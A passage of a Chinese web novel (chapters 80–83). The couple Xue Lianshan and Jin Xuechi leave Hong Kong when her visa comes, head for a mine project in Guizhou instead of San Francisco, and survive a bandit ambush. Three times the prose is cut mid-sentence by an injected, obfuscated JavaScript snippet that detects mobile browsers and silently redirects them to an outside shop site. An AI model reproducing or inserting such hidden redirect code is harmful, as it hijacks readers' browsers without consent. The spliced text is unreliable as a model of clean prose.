薛莲山忽然有种微妙的感觉。打个比方,甲对乙议论“那个人的手表真阔气”,乙一般会说:“是吗?他的手表是什么牌子的?”这是正常人的思路。倘若有一天乙开始说:“你的表也不赖呀!” 那证明乙想甲想得太多了。 何况在此之前,他没听人这么说过,感到很新鲜,“和我沾边的,就一个名字听起来比较慈悲。” “这名字确实没的说。不过呢,不是每一个人在经受过别人的坏后,仍然能理解别人。”金雪池咕哝道,“其实大家都是普通人,善恶、性情与能力都不鲜明,因为几件事,浅显地爱来恨去,不会被真正理解。你晚母把其他人当下人使唤,其他人最多不记恨,不会说她是贵人。你这么自恋,还有余力‘注视’别人......” 薛莲山在她手背上一拍,“到底是什么行为让你觉得我自恋?我没有喋喋不休地吹嘘自己吧?除了上发霜和剃须也不照镜子吧?” “没有特定的行为,是一种综合感觉。” “没人这样说过。”他笑了,“你也在注视我吗?” 80.旷工 “我一直在注视你。” “注视出什么来了?” “帅。” “谢谢。” “我说你自恋吧。” 两人均大笑起来,薛莲山把五指从她五指间穿出去,她往回抽手,没抽动,反倒把他拉过来了。他贴在她耳边说:“我也在注视你。” “你注视不了我,你距离我都小于近点距离了。” “什么叫近点距离?” “人眼能清晰聚焦的最短距离,晶状体收缩到极限,靠得再近,没法调节屈光力。你都贴我脸上了,看得清楚吗?” 薛莲山往后退了点,笑道:“这会儿看清楚了。我看到你——唉声叹气但是坚持做着一份工作,视之为一种磨砺;总是一个人,但从不无聊,最近似乎找到了新乐子;头发好像比一个半月本该长得要多,都说长头发的速度和心情有关,你心情很好吗?恭喜你,这一关过去,将来的恐惧会越来越少。” 他是真的在注视她。 金雪池感到一股风从体内升腾起来、向上推进,推到头皮处,头发根都发麻。什么时候开始的?他不止注视她的喜怒哀乐、衣食住行,他还注视她的挣扎、她的孤独、她的成长。 你开始对我认真了? 她微笑着把手收回去,“你看漏了一个点。” “哪一点?” “我夸你帅,你怎么不说我美?” 薛莲山笑道:“那还需要说吗?” 接下来不仅她心情好,薛莲山也心情好。他终于有大头收入了,只要进口加工煤的生意一做起来,那就是财源滚滚。过几天催债的又上门剪电线,定青和小桂气得跳脚,他倒是笑容可掬地把对方请进来,做了一番保证,五年内绝对还清,不会差利息。 催债的说:“谁等你五年?你现在手上还有多少?”他们已经失去一开始的风度,变得很不礼貌了。 薛莲山一摊手,“一分钱都没有。” “谁信你一分钱都没有?那你还住这样的房子、开汽车?你应该滚到桥洞下面去!” “住到桥洞下面,桥也没搭电线,你们剪什么呢?”薛莲山顿了顿,又似乎做了一步退让,“我今天可以拿十万出来,但有一个条件,未来三个月内不要再骚扰我们。” 讨债的满口答应了。 其实只要金雪池的签证一下来,他就跑没影了,这些债主神通广大也弄不到一张美国签证,追不过去。于是薛莲山打开支票簿,签了一张十万的,对方伸手要拿,他往后一晃,“前一阵子,你们拿油漆泼到了我家的女佣人,是不是有这回事?” “什么?” “先道歉。” 那人要发作,但是支票签都签了,就在眼前,只能忍气吞声地给小桂鞠了一躬。小桂没料到还有这一出,有点想闪开,但因为薛莲山跷腿在沙发上坐着,她也倚着沙发的扶手站住了,脸上涨得通红。 事情得到了妥善的解决。薛莲山从此不会再想起,而她忘不掉了。 香港的夏季非常潮湿,租下的这栋小楼又老旧,天花板角落洇出了一片深色水痕;墙壁摸上去也潮乎乎的,生出一种不洁净感。主卧的通风还算不错,被褥中仍滞留着潮气,需经常拿出去晾晒。湿热不是一场可以避开的雨,它无孔不入,熬煮着人群。 薛公馆买了一台电风扇,白天放客厅,晚上放主卧。收效甚微,因为风也热。 金雪池照样上班,并不是因为潮州气候差不多、她热习惯了;不舒服的气候,无论如何也习惯不了。只是她要逼迫自己把这份工作做到最后。 薛莲山的大事虽得到解决,过上了一种懒散的生活。林望舒早已全家动身赴美,他失了伴,一开始有意找几个新朋友,但像林望舒这样心肠好的人不多。人家一听说他有负债,要么劝他买基金、要么介绍亲戚的项目让他投,都没憋好屁。至于说酒肉朋友呢,他最近也比较节俭,酒肉不起来。 何况又开始咳了,虽不严重,但咳个没完。空气太潮湿,墙角还长了一块霉。 小桂装了两筐木炭放在他床底,祛湿用的。家里的木箱、藤箱都用砖头垫起来,不直接挨地;衣柜和各房间的门也大敞着。 晚上,他感到无聊,问金雪池:“来跳舞吧?” 金雪池心有余而力不足,上班把她的精气神消耗光了。薛莲山硬把她薅起来,转几步,脑袋磕到柜门,转几步,脚踢到砖头。他的兴致还是很好,嘴里先是喊拍子,后来唱起歌来。 金雪池挂在他身上,仔细听了一会儿。她总认为他的每一处都会令人印象深刻,要么特别擅长唱歌,要么走音跑调,其实是普通水平。调子是准的,但高音上不去、低音下不来,一到唱不上去的地方就紧急改成假声哼哼。 他问:“你笑什么?” “没什么。” “我说身体要有起伏感,你有在尝试吗?” “哦。” 不过他跳舞跳得确实好。金雪池大概能猜到原因,他这样精力充沛的人会喜欢尝试各种运动,但大多数太激烈了,不能够。她猜他还会喜欢高尔夫、台球。但跳舞最好玩,因为自带社交属性,能抱着女孩子跳。 她于是又笑了,薛莲山搭在她背后的手拍了一下,“起伏!” 金雪池好不容易找到一点起伏,他开始咳,遂撒手不玩了。跟金雪池玩有一点好,她不会说“既然咳嗽刚才唱什么唱”,因为她并不关心你。她只是瘫到自己床上,念道:“我洗了澡,又被你弄出一身汗。” “你怎么会出汗,咳,一直是我在架着你。你没用力吧。” “天气太热了,不用力也出汗。” “好啊,你真没用力?我刚才说——” “哎呀。”金雪池咕哝道。她不会说“饶了我吧”,在感觉理亏时,就是一句拖长了音的“哎呀”。想了想,又问,“旧金山的气候怎么样?” “好得不得了,冬暖夏凉。” “湿不湿呢?” “夏季不怎么下雨,冬季下雨,不过还好,那只能叫湿润,不是这种黏糊糊的潮气。” “都靠着海,怎么香港和旧金山差别这样大?” 薛莲山发现这人是真的书都读到狗肚子里去了,对于地理一无所知,跟她讲起了什么叫地中海气候。她越听、问题越多,最后终于幡然悔悟过来他一直在咳嗽,“你休息吧,我不跟你说了。” 第二天早上,他闲着也是闲着,一定要送金雪池去上班。车开出去一段路,金雪池就发现方向不对,“薛先生,佩珀好像不是这个方向。” “陪我去海滩边逛逛。” “......但是我要是再无故旷工,布朗会辞退我的。” “辞退就辞退,算着日子,你的签证快寄过来了。”他懒洋洋地说,“你又不是真想当个精算员,无非是磨炼意志。现在我说你目的达到了。我认可你,比布朗要不要你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363997|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有效力得多吧?” 金雪池笑了一下,“是。” 他摇下窗子,七拐八拐地绕路,偶尔和她说一句这是什么建筑、这是哪里,在中午时分抵达了浅水湾。夏天的浅水湾人总是很多,遮阳伞遍地开花,底下摆刷了白漆的躺椅、小桌,男男女女穿得很凉爽,有几个光身子的小孩到处跑。其实用不着遮阳,今天是个阴天,海水也倦,深灰色的,缓慢而黏稠地爬上来。 浅水湾的视角并不开阔,向远望去,浮着几座连绵的丘陵、岛屿,起伏连绵,错错落落。天空是隐晦的,海平面上有一线金,倒使这些山有“小山重叠金明灭”的韵味,比一望无际的开阔水面,更含蓄、精致、犹抱琵琶半遮面。 他们下了车,沿着人行道一路走。海滩后有个大饭店,里头传来隐隐约约的乐声,在这黯淡的天地间,仿佛是世外传来的。 薛莲山指着那饭店道:“按照我以往的套路,到香港的第一天,我就该带你来这里。现在我们都快走了。” 金雪池道:“其实我从小到大都住海边,对于海景房没兴趣。” 他笑了,“是么?但你有没有兴趣是一回事,我有没有心意是另一回事。这样的境遇下,你还一直跟着我,让我觉得很抱歉。” 金雪池都不知道“这样的境遇”指的是哪样的境遇,在她看来,除了断电几次外,生活水平还是挺不错的。她对物质的要求不高,只要不让她自己做家务,还能每天洗热水澡,那就再好不过了。 又听他说:“香港有几家很好吃的饭店,没有带你去吃;有一家山上的别墅,可以租下来,晚上可以在玻璃幕前俯瞰整个香港,没有带你去玩过;有很多娱乐场所,装修得像欧洲宫殿。将来我会加倍补给你。” “薛先生,其实我没有那么虚荣。” 他笑道:“虚荣的人喜欢你,你受着吧。” 金雪池走在他前面,咬着下唇,不让他看出自己在笑。 过去金文彬很会赶海,传授过很多门道给她,但她都忘得差不多了。什么石头下面有螃蟹,潮水退去后,小孔洞下面蛏子......她邀请薛莲山一起找,薛莲山是来观海景的,不是来挖海鲜的,因此只是插着口袋站在离她较远的地方。 等金雪池抓到一只指甲壳大的小沙蟹后,他装不住了,也蹲下来跟着扒拉。两人再一无所获,都是游客丢下的雪糕木签、瓶盖、发卡。 “妹妹,”他叫她,“这是不是你说的那个——过来看!” 金雪池赶过去看,几根白色的小管子冒出了沙面。“对对,这下面好像就是蛏子。” 怕蛏子遁沙逃走,她不捏管子,而是把手插到沙底下,一把抓住了,将管子从沙中整个儿拔起。薛莲山凑过来看,刚好看到一只肥硕的、粉红的多脚长虫从管子的一头蠕出来,柔软的身子上下扭动,是有肉的蜈蚣、有腿的蛆。 他问:“蛏子这副尊容?” 金雪池面无表情地扔了管子,实则浑身的汗毛倒竖,“认错了,这是沙蚕。” 两人都被恶心到了,很默契地放弃了赶海,在一个摊子上买了瓶汽水。她撬开瓶盖,要给他喝第一口,薛莲山真不知道她是想着自己还是不想着自己,“冰的,我咳嗽。” 一会儿下起了雨,他们钻回车子里。金雪池吃东西吃得慢,喝东西也喝得慢,坐在副驾上攥着瓶子往窗外望,过一会儿说:“不冰了。” 薛莲山笑道:“没气了!” 81.签证 当晚她还是溜进了佩珀,把自己的一个茶缸、几支笔、一本词典取回来了。 后面几天薛莲山成天带她出去逛,甚至跑到了新界九龙,钻进一条条小巷子。来了香港这么久,他没有带她仔细地看过这个城市。 虽然是殖民地,但香港似乎不如上海那么洋气。现在想起上海,金雪池想起的就是薛莲山这个人,他成功了,和这个城市合二为一。繁华富贵、如梦如幻,令人心驰神往,又触不可及。 然而香港就有烟火气得多,皇后大道两旁橱窗里的货物,一半是西洋的香皂、钟表,一半是广东的凉席、陈皮。骑楼密密麻麻,上面用一杆旗帜挑商号出来,下面一排地摊,卖云吞卤菜杨桃。穿梭其中,确切可以闻到丰富的食物香气,杂而不乱,各香各的,但交集在一起,显得很热闹。 金文彬就很喜欢香港,他也没去过更远的地方。他说香港好得不得了,吃喝玩乐都方便,人也有钱,等金雪池长大了,他给她在香港买栋房子。 老豆,香港的人越来越多了,你早不买房子,现在的房价很贵啊。 对于金雪池来说,每座城市都有每座城市独特的好,是她不同人生阶段的底色。她才疏学浅、孤僻拙舌,但一路来,总有贵人适时地出现,带她走了这么远,看了这么精彩的世界,属实幸运。 在以“有求必应”闻名的黄大仙祠里,金雪池跪在蒲团上,向大仙许愿:希望我前程似锦,希望他长命百岁。 入伏的那一天,签证寄到了袁公馆。其实打发个佣人送来就行了,袁孝慈亲自来了一趟,因为知道他很快要走。战火频繁、大洋阻隔,寄一封信都要很久,何况是再见一面。而且于情于理,她既不会跟她写信、也不会专程去见他,将来还有几分牵连,全看天意。 来的路上在下雨,她鞋子湿了,阴凉的寒意顺着脚底往上升。到了薛公馆,薛莲山正摆着一个姿势不动,金雪池坐在茶几上,抱着一个本子奋笔疾书。 小桂通报说有客,薛莲山微微向她抬头,笑了一下,“稍等......” “哦,不用等。”金雪池立刻合上本子,朝她一鞠躬,上楼去了。这个氛围,袁孝慈什么话也说不出来,只把签证拿出来给他看,他展开一看,显现出很高兴的样子,要留她吃饭。 她说已经吃过了,又道:“信封里还有一张支票。不要推辞,你可以不去银行兑换,但我希望你总有东西可以救急。” 薛莲山接过支票看了看,笑道:“怎么听起来有点耳熟?” 当初他离开香港时,给袁孝慈留了一张支票,说的就是这句话。袁孝慈当然没有兑掉,好像她不兑掉,就始终有他的一部分心意储存在她哪里,原封不动的。 原来你还记得。她说:“你给我的,我收下了。给我个面子。” “好,谢谢你。”他扬了扬手里的票据,收进了信封里,“真不留下来吃顿饭?不会是嫌寒酸吧?虽然我们家房子看起来破,小桂做菜呢,却是很擅长......” 袁孝慈笑道:“真吃过了。” 他今天因为不出门,天气又炎热,只穿晨衣,长袖长袴的款式。他几乎不穿短袖短袴。头发也没抹霜,只是沾水向后梳。越是着装随意,越使她情绪浓酽,一阵一阵地向上漫,漫过她的眼睛,快要化作泪水。 好像只是平常的一天,小雨连绵,无事发生,大家各自做各自的事,好像这样平静美满的日子还能持续很久很久;只有她知道这是天崩地裂的一个时刻。 她不是多情的人,何况已不是谈恋爱的年纪,三十岁了,见他一次,还是一次的不平静。斯人若彩虹,遇上方知有。她对于他,一开始就没有多宏大的企图,单是知道世界上有这样一个人、和他有过一段,就足够她回味一生了。人不能太贪心,她的一生还有很多其他壮大、美丽的东西,如果必定要有不圆满,还是落在他身上吧。 袁孝慈撑开伞走出大门,一次也没回头。 薛莲山自然也无意留她,把金雪池喊下来,举着信封问她:“猜猜里面是什么?” 金雪池嘀咕道:“好难猜呀,不会是签证吧?” 一听到“签证”二字,定青和小桂像两个游魂似地从阴影处飘了出来,瞪着眼,薛莲山于是放弃了对金雪池亲一下抱一下的想法,微笑着把信封收起来了。 金雪池对于这两人的心思自然有所觉察,她也不声张,也不让小桂帮忙收拾行李,自己悄悄地收好。等晚上薛莲山回来,两人会心一笑。薛莲山最近又很忙碌,与人告别、处理财务、打印材料,成天不在家。 某个白天,接到了何二太太的电话。她一接起来就恭喜何二太太,又问是男孩女孩,对面笑了一声,说小产了。金雪池一时不知道接什么好,就尬在那里,何二太太又问:“高材生,最近怎么样?” “我要走了,签证办下来了,去美国。” “那么远。” “是啊。” “你还这么年轻。”何二太太笑起来,“真幸福啊!” 在别人不幸的时候表现自己的幸福是一种无礼,因此金雪池含糊地否认了几句,大意是异域他乡究竟是异域他乡,留在祖国的土地上,不失为一种安稳。何二太太不置可否,“我再寄一双鞋子给你,关山重重,希望你走过去的时候,也有我的一部分。” “哦,其实不用,到时候我给你寄明信片......” “要的。你几时走?” “月底吧,具体日子不清楚。” “我最近有点忙,不能来送你了。” “没关系。” “总有一天,”何二太太说,“我也会到那么远的地方去。薛太太,你不要笑我,虽然我没什么文化,但是我会去的。后会有期。” 晚上她跟薛莲山说了何二太太来电话的事,薛莲山依然是感慨美人的遭遇,说何先生不是良人,凭借何二太太的姿色,其实可以嫁个虽不那么富有、但品行优良的大学老师。金雪池语气平平道:“她原来是堂子里的。” 他顿了一顿,大感惊讶,因为金雪池似乎比较喜欢这位何二太太,但同时也能说出这样客观、不带感情色彩的话。她在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17366767|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外面又是如何提起他的呢? “她和你说的?” “不是。第一次见面的时候,她给我剥葡萄......就是把葡萄皮从顶上一瓣瓣撕下来,用手指捏着蒂,喂到我嘴边。这是堂子里待客的功夫。你可以试试,葡萄那么小一个,普通人会抠得汁水横流。” 他笑道:“人家给你剥葡萄,你说人家是妓女。” “我的意思是,何先生要不是品行不好,她也没机会嫁到这里。有得必有失,一切都是机缘中的一部分。现在看上去她小产了,是一种‘失’,未必不是为将来的‘得’铺路。”她淡然道,“而我一路太风顺了,以后未必不会栽跟头。” 还有一点,不便于对薛莲山说:何二太太说她幸福,但从不真正地羡慕她。因为她的幸福来的容易,何二太太走得艰辛,倘若两人将来能走到同一个地方,她会被风吹走,而后者已经是千锤百炼的躯体,不会的。她没什么可抱怨,因为这也是她自己的机缘,她就是懒散、胸无大志、注意力不集中,多走一步,就是捡一步便宜。 人各有命。 薛莲山只是想:她是没有心的。 跟她做朋友,你受苦受难,她轻飘飘的一句“一切都是机缘中的一部分”;跟她做情人,也从未得到任何怜惜。一块冰,一枚冷月亮,一汪池水,多少爱投进去,下落不明。 他后面的语气很冷淡,金雪池没发觉,高高兴兴又整了一遍行李,睡觉去了。这种冷战打起来永远是他单方面受气,他打算只冷淡她三天。然而到了第二天,邮递员送来一份译过的电报后,他就冷不动了,想来想去,还是得找金雪池商量。 “看看吧。” 金雪池接过电报,迅速浏览着,眼珠一列一列地移,面上却没有表情。看完了,她说:“我都随便,你怎么决定的?” 电报是许豫生发来的,说他负责主持的开采项目已在贵州省大定县黑箐山上落地,本来请了一个过去的矿老板——名叫王鹤松——来负责大小适宜,结果王老板临时生了病,在天津租界养病。眼见着形势迫在眉睫了,还是想请他一试,如果他愿意去的话,除了国家许诺的10%项目股权和每月两千的工资以外,许豫生私人还许诺他三百万。 “这一去,你秋天就不能按时开学了。” “我不能独自去美国吗?”她脱口而出,又补充道,“我没有别的意思,我去等你。” “我知道,但是不行。那边生态复杂,没有一个女孩子单独去的。” “那......到时候给UCB写封信,解释一下,因为战乱缘故,我不能及时到校,希望延入学一年,可不可行?” “就是不知道可不可行。”他皱眉道,“UCB不缺你一个中国学生,他们要是不同意,你什么办法也没有。算了,我也不想去,王鹤松生病我不生病?是去旧金山,还是贵州的黑箐山,孰优孰劣,我还是分得清楚。” “不过,三百万听起来......” “犯不上。” 她知道他已经做出决定,因此并不多言。 82.贵州 船票买在了七月二十九日,临走前两天,薛莲山找定青谈了一次话,问他和小桂怎么样了。定青其实没有和小桂很好,他们之间,除了调情,什么实质性的承诺和计划都没有过;但为了使他安心,一味地说好。 薛莲山于是塞了个鼓鼓囊囊的大红包给他,调侃道:“跟了我这么多年,能坐办公室了吗?” “啊?” “我替你安排好了。”他说,“家具厂的高老板,我前两天才跟他打了电话,他答应给你找个文职工作。要是做不惯,你也别想着是我的人情,该辞就辞了。有什么困难给我写信。等我到那边,会第一时间把地址寄给你。” 定青惨白着一张脸,蠕了蠕嘴唇:“薛先生不必替我操心。我倒想嘱咐一句,金小姐是个孩子气的,并不会照顾人。你出门在外,需要自己照顾好自己......” “这还必嘱咐么?”薛莲山笑道,“我又不是少爷公子。” 出发的那天早上,他和金雪池俱是兴高采烈,定青和小桂愁云惨淡。因为航程遥远,他们要乘坐的是一艘体型极为巨大的客轮,有三根大黑烟囱,早早地放下了舷梯供游客搬运行李。 送到检票口,不能再送了。定青忽然退后两步,跪下给他磕了一个头。 薛莲山忙上去拽他,“民国不兴这个了!快起来!” 但他拽不动定青,定青硬是邦邦磕完了三个头才起来,额头红了一片;起来后抿着嘴,不说话。小桂一直攥着手里的帕子,这时候轻声道:“走吧,薛先生,你们行李多,别误了时辰。” 薛莲山朝她微笑着点了一下头,又在定青肩上拍了拍,这才提起行李检票去了。金雪池也拎了两个箱子,走一步,箱子磕一下腿,砰砰砰打牛肉丸似的响。等排队登上了船、找到了客舱后,她已然满头大汗,小腿肉也非常筋道了。 客舱里闷热潮湿,离开船还有很久,他们便先上甲板透气。凭栏远望,几艘挂着米字旗的英籍货轮泊在锚地,烟囱里冒出的灰烟好似一条丝绢,被风拉薄、扯成条缕。让人联想到依稀的一两声鸟叫。也确实听到了,也许因为云层厚得像雪堆,只听得到鸟叫、见不到鸟的影子。 薛莲山靠在对海的那一侧船舷上,看了看手表,忽然道:“倘若耽误你一年,你会不高兴么?” “不会。” 他放下手臂,望向海面,“......你知道我不会对你负责一辈子吧?趁我现在还负责,你如果介意,可以直接提。” 金雪池陷入沉默,不知道是不是因为没吃早饭,全身上下有种摇摇欲坠的虚弱,立刻又出了一身的汗。见她久不答,薛莲山扭头看她,她不知从哪儿摸出一颗骰子,一抛、接住,瞟了一眼后道:“你想去就去吧。” “这样决定自己的命运吗?” “人的头脑不比骰子高明多少。” 薛莲山笑了,“你爱我么?” “有一点。” “我去贵州,你有两个选择,一是留在香港,二是跟我一起去。留在香港会过得舒服很多。但因为这一点,我再得寸进尺一步,希望你跟我一起去。本来这个决定就做得我很恼火,如果有你在的话,我会比较开心。不会留太久,最多一年。” “你爱我么?” “应该也有一点。” “好吧,”金雪池说,“Go。” 两人于是冲下船舱拿行李,避开定青和小桂,从另一个口子下了船。她独自守着一堆箱子,薛莲山挤去买票,买回来两张去广州湾的票和一支冰棒。离发船还有几个小时,金雪池慢慢地吃完了那支冰棒,薛莲山原先站着,后来坐到了一段矮栏杆上,表情似乎很愉快。 金雪池笑道:“你不是很恼火吗?” “不是说有你在的话,我会比较开心吗?”他拍了一下她脑袋,“说走就跟我走,好孩子。” 她闭上眼,很温顺地让他拍,一阵一阵快乐但冷的水流流遍全身。 到广州湾的航线耗时三天,还算风平浪静,两人因为无所事事,闲聊个没完。金雪池先是把他的肖像画画完了,拿给他看,他不敢相信自己在她心中就是那副模样,很是沉默了一阵;她又开始画在香港的家,画了一半,有些晕船,把本子递给他。 他于是发现金雪池没有针对自己,她画画的方式特别刻板,无论美丑,凡事她记得的特征,会全部详尽地表达出来。于是添了几笔,一个风扇、一口钟。 金雪池头晕目眩,接过来一看,“薛先生,你有一点画错了。” “画画还有对错?” “有的,如果你仔细观察的话,会发现电扇的叶片都是三片而非四片。你知道为什么吗?” 薛莲山表示洗耳恭听。她就开始了,“旋转会给叶片带来离心力形变,叶片能抵抗这种形变的强度,与截面惯性矩相关,而截面惯性矩又和厚度的三次方成正比,意味着厚度的微小增加能显著提升强度。如果采用相同成本的材料,比如说设单叶片体积V=bhL,总材料......” “那么为什么不直接两片叶子呢?” “两片扇叶比四片扇叶还糟糕。电扇旋转的核心是离心力矢量和为零,两片叶子对向分布,在数学上存在‘偶数对称的耦合缺陷’。”金雪池唰唰给他画了几个箭头,受力分析,“若存在微小制造误差,合力会直接等于Δmω^2r,没法被其他力抵消,会带动风扇整体产生周期性振动,转速越高、振动越剧烈,你可能打开风扇一分钟,它就自己跑下楼了。而三片呈120°分布,三个离心力构成矢量三角形,即使存在微小质量误差,矢量和也会因三角闭合性相互抵消一部分......” 也不管薛莲山听没听懂,她讲完了,把扇叶子擦掉改成三片。一副并不美观但刻板、严谨的画,其实和艺术家气质相去甚远。但她自己认为自己是个艺术家,让她去吧。 晚上脱掉丝袜,她发现腿上青了一片,怎么都没想起怎么青的。他凑过来看,“应该是提箱子时撞的。” “是么?” “之前我也看到过几次——你睡裙只到膝盖么,早上提了东西,晚上小腿就是青的。” 金雪池觉得这种形容显得自己像小脑功能不完全,很羞愧地把睡裙往下拽。薛莲山倒是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373474|192557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了,在她膝盖骨上捏了捏,“小姐命。” 她不作声,任他揉捏,那手逐渐往大腿上移,试试探探地轻轻捋着,然后忽然很重、很狎昵的一下,她迅速收腿上床,背对着他。薛莲山一膝盖支在她床沿上,俯身过去,“亲一下亲一下......” 金雪池用被子把头蒙住,他隔着被子,乱亲了三四下,直到被她推远。 船上时光过得十分悠闲惬意,到了广州湾的法租界,他们先找旅馆,然后给许豫生发电报、买东西。她不用下地,自然是可以继续穿旗袍;他不得不买了几条衫褂,松松软软的,又买了一大袋子药品,从应对感冒发烧的到针对自己病症的,一应俱全。 金雪池买了一点荔枝,广西的水果好吃。 盘桓数日后,有人来接他们。那人自我介绍叫戴鸿飞,是行政督导,穿硬挺的蓝色军装、低檐帽,一开门就行了个军礼。其实帽檐本没必要把眼镜都压住,但他相当年轻,一有任务,就忍不住要摆出军人风范,哪怕这风范不是自然形成的,而是从长官、电影、文学作品和自己的想象中习得的。 薛莲山手还插在口袋里,略一点头,让他进。 他一副公事公办的口吻,出示了自己的身份证明,简单介绍黑箐山的情况后,又道:“原则上不能带家属。” 薛莲山并不呛他,说“那我不去了”,他对于年轻人素来比较包容,“是家属,也是我抓来的壮丁,数学本科毕业的,可以进技术组工作。” 金雪池没料到他一下给自己派了个任务,他向来想一出是一出。那她就不能在山林溪流间继续艺术之旅了,又得拨该死的算盘。 戴鸿飞也一愣,他原本是想显示自己的权威,但挑不出刺,因为缺人缺得厉害,有壮丁可抓固然好。“矿上纪律严明,任务重、时间紧,男女不许同住。” 薛莲山笑了,“行。” 事不宜迟,戴鸿飞当场就带着两人出发,接下来的路程全靠汽车。从广州湾到桂林要坐三天汽车,从桂林到贵阳要坐四天汽车,从贵阳到毕节要坐三天汽车,从毕节到大定县要两天汽车。西南不仅矿业不发达,铁路也不发达,好在他们不必像普通难民一样挤长途巴士,有专车接。 进贵州后,他还给他们一人发了一把□□P38,能装八发子弹,防兽防匪。 贵州境内多山地,道路崎岖难行,有些路段甚至是在悬崖峭壁上开凿出来的,十分惊险。戴鸿飞开得全神贯注,薛莲山回头找金雪池闲聊:“这是雪佛兰Suburban Carryall,美国车。这样的路段就得美国车,欧洲车虽然精密,但是但底盘调校偏向公路行驶,在坑洼路面易发生底盘磕碰,雪佛兰的独立悬挂就不......” “薛专员。”戴鸿飞打断他,“可以不说话吗?” 薛莲山笑了笑,闭嘴了,也放弃了坐副驾驶,中途休息时换到了后排,和金雪池通过捏手传情。他捏她一下,她捏他一下,谁也不触戴鸿飞的霉头。晚上时,金雪池又道:“前面那个坡上站的不能是土匪吧?” 戴鸿飞冷冷道:“可以不说话吗?我看得到。” 83.遇匪 土匪可能集火打窗户,也可能跳到SUV宽阔的车顶上,只有他一个人是军人,对付不了他们一伙人,于是加快速度猛冲过去。薛莲山抓紧了扶手,忽然道:“等等!他们故意在这里——” 车灯是乙炔气灯,只能照亮前方十米的距离,戴鸿飞加速两秒后,忽然看到前方有个急转弯!在所有人反应过来之前——除了金雪池,她几乎是瞬间开门便跳——雪佛兰畅通无阻地冲向了山崖,掉了下去。 因为惯性,她跳车后也在不受控制地往前滚,冲出了山崖,又抓着崖边草固定住了身体,慢慢落到崖下的一块石头上。浑身火辣辣的疼,胳膊、腿都擦掉了皮。她脑中一片空白:她居然自己跑出来了! 几个土匪没看到她,提着枪从另一条缓坡往下追。 车灯已经撞灭了,山中黑黢黢一片,只有他们手上的火把亮,移动的活靶子。金雪池伏在石头后面,把保险往上一推,举枪就射。两枪过后,噼里啪啦的子弹照着石头打过来,白光乱溅。她躺下一滚,滚出一段距离,胳膊、腿上都是血,又一脚插在石缝中稳住。 土匪已经把火把灭了,烟气还未完全散去,照着烟的位置,她又开了两枪。几乎是瞬间,一颗子弹飞过来,擦中了她的胳膊。金雪池躺下继续滚,一声不吭,脑子里清明至极:她开枪,子弹没有空的。现在土匪还剩两个。 然而现在谁也看不到谁的位置了。没事,殊途同归,都是去找雪佛兰的。她往下连滚带跑了一段路,感觉地势渐渐平坦了,灌木也变得稀少,今晚没有月亮,能见度很低,好在她视力好,逐渐适应黑暗后,能看清物体的轮廓。 前方是碎石滩。她一踩上去,就预感到车会被缓冲在这里。但目前没看到。急转弯是往右拐的,戴鸿飞可能后知后觉把方向盘向右打,她辨了一下方向,沿着碎石滩一路飞奔,隐隐地看到了雪佛兰的轮廓,还算完好,没有畸变得不成样子。 戴鸿飞正在用石头砸后排的窗子。这狗东西自己倒是能出来!金雪池简直想一枪把他也崩了,挤过去看,自己逃出来的那侧门已经掉了,但出口变形严重,仅容小孩通过;另一侧们打不开,只能砸窗子。薛莲山整个躺倒在座椅上,一动不动,头上有蜿蜿蜒蜒的血。 她刹那间感觉自己的额头也是又烫又痒,有血从上面流下来。 “后面还有两个人。” 戴鸿飞应了一声,他走路的姿势有点怪,应该是腿断了,然而迅速撤到一块石头后,举起了步枪。金雪池也用石头砸玻璃,玻璃是双层玻璃,砸不动,她退后几步,用手枪瞄准了幽蓝的一片。 戴鸿飞抽空瞟了一眼这边,叫道:“子弹在金属车身上会反弹!” 金雪池不理他,开了枪,子弹从玻璃窗进、从另一侧出口出,随后开始用力撕碎玻璃。身后猛地响起了枪声,她往后一跳,也跟着戴鸿飞一起还击。 三四声枪响后结局就见了分晓,戴鸿飞是正儿八经的黄埔军校生。他也过来一起撕玻璃,撕出一个大口子,金雪池苗条,由她钻进去把薛莲山往外托,戴鸿飞在外面接,两人在凉爽的山中俱是汗出如浆。 薛莲山没有断胳膊断腿,他第一时间扑倒在座椅上,紧抓着软坐垫,只是脑袋磕到了。他倒是伤势最轻的。金雪池的情绪平复下来后,检查了一下自己的身体,胳膊和腿上看着吓人,其实只是擦掉了皮,严重的是胳膊上被子弹擦去的一块肉。戴鸿飞也比较严重,驾驶位变形,硬生生折断了他的腿。 药品一应俱全,都是薛莲山在广州湾买的。戴鸿飞要来帮她包扎,她毫不理睬。 戴鸿飞忍不住斥道:“现在是你闹小姐脾气的时候吗?你会包扎吗?发炎了怎么办?” 